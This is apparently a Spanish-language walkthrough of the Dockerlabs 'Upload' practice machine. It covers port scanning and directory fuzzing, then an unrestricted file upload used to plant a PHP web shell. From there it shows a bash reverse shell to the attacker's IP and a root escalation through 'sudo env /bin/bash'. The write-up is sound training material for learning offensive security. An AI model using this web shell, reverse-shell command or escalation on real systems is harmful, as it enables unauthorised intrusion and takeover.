stamin4
  • whoami
  • HTB Academy
    • Introduction to Academy
    • Learning Process
    • Vulnerability Assessment
    • Web Requests
    • Introduction to Networking
    • Linux Fundamentals
    • Brief Intro to Hardware Attacks
    • Setting Up
    • Using the Metasploit Framework
    • Security Incident Reporting
    • Introduction to Web Applications
    • JavaScript Deobfuscation
    • Attacking Web Applications with Ffuf
    • Windows Fundamentals
    • File Inclusion
  • HTB Machines
    • Windows
      • 🟢Easy
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
    • Linux
      • 🟢Easy
        • Cap
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
  • OverTheWire
    • Bandit
      • Nivel 0
      • Nivel 1
      • Nivel 2
      • Nivel 3
      • Nivel 4
      • Nivel 5
      • Nivel 6
      • Nivel 7
      • Nivel 8
      • Nivel 9
      • Nivel 10
  • Base de datos
    • SQL
      • SELECT queries 101
      • Queries with constraints (Pt. 1)
      • Queries with constraints (Pt. 2)
      • Filtering and sorting Query results
      • Simple SELECT Queries
      • Multi-table queries with JOINs
      • OUTER JOINs
      • A short note on NULLs
      • Queries with expressions
      • Queries with aggregates (Pt. 1)
      • Queries with aggregates (Pt. 2)
      • Order of execution of a Query
      • Inserting rows
      • Updating rows
      • Deleting rows
      • Creating tables
      • Altering tables
      • Dropping tables
  • PortSwigger
    • Path Traversal
  • Dockerlabs
    • Trust
    • Firsthacking
    • Upload
Powered by GitBook
On this page
  • Despliegue del Lab
  • Reconocimiento
  • Intrusión
  • Escalada de privilegios
  1. Dockerlabs

Upload

PreviousFirsthacking

Last updated 11 months ago

Despliegue del Lab

Descargamos la máquina Upload desde la plataforma de .

Descomprimimos el archivo upload.zip.

unzip upload.zip

Para desplegar la máquina, ejecutamos el siguiente comando:

sudo bash auto_deploy.sh upload.tar

Reconocimiento

Para ver si la máquina está encendida y comprobar que no tengamos ningún problema de conectividad, lanzamos un ping.

ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.293 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.293/0.293/0.293/0.000 ms

Enviamos un paquete y recibimos el paquete de vuelta, por lo que la máquina está activa. Además, podemos deducir que se trata de una máquina Linux por el valor del TTL (Time To Live).

Para ganar acceso al sistema, necesitamos encontrar alguna vulnerabilidad en los servicios que están corriendo en la máquina. Por eso, lanzamos un escaneo de puertos para descubrir cuáles están abiertos.

$sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 16:50 -03
Initiating ARP Ping Scan at 16:50
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 16:50, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:50
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 16:50, 2.90s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000026s latency).
Scanned at 2024-05-30 16:50:33 -03 for 3s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

El único puerto abierto es el 80. Debe haber un servicio web.

Ahora lanzamos un escaneo más exhaustivo que nos permita obtener un poco más de información sobre el servicio, incluyendo su versión.

$nmap -p80 -sCV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 16:51 -03
Nmap scan report for 172.17.0.2
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds

Accedemos a la página web a través del navegador y, tal como nos lo había adelantado el http-title en el escaneo de nmap, nos encontramos con un campo de subida de archivos.

La primera aproximación es subir un archivo php malicioso. Primero vamos a intentar subir uno de prueba para ver si efectivamente nos permite subirlo o si existe alguna restricción con respecto a la extensión del archivo.

Creamos un archivo prueba.txt con el siguiente contenido y lo subimos.

<?php echo "Hola"; ?>

El archivo se ha subido exitosamente, por lo que el siguiente paso será averiguar en qué ruta se encuentran almacenados dichos archivos. Para hallarla, aplicamos fuzzing con la herramienta ffuf.

$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -ic

Encontramos la ruta /uploads.

Se trata de la ruta que estábamos buscando. Podemos ver que allí se encuentra el archivo prueba.php que acabamos de subir.

Además, podemos comprobar que la web interpreta código php.


Intrusión

Ya estamos listos para subir un archivo php malicioso.

Creamos una web shell sencilla:

<?php system($_GET["cmd"]); ?>

La idea es llegar a ejecutar comandos en la máquina que vamos a controlar a través del parámetro cmd desde la propia URL.

Subimos el archivo cmd.php:

Ejecutamos el comando whoami a través de la web shell y comprobamos que tenemos ejecución remota de comandos como el usuario www-data.

Para ganar acceso al sistema:

  1. Nos ponemos en escucha por el puerto 443:

sudo nc -nlvp 443
  1. Pasamos el siguiente comando como valor del parámetro cmd:

bash -c 'bash -i >%26 /dev/tcp/192.168.229.128/443 0>%261'

⚠️ %26 equivale al & en URL Encode.

  1. Deberíamos recibir una consola como www-data:


Escalada de privilegios

Buscamos por privilegios a nivel de sudo con sudo -l.

Podemos ejecutar como root el comando /usr/bin/env.

Existe una forma de abusar de este comando para convertirnos en root de la siguiente manera:

sudo env /bin/bash

Esta forma de escalar privilegios a través de env está documentada en .

GTFOBins
dockerlabs.es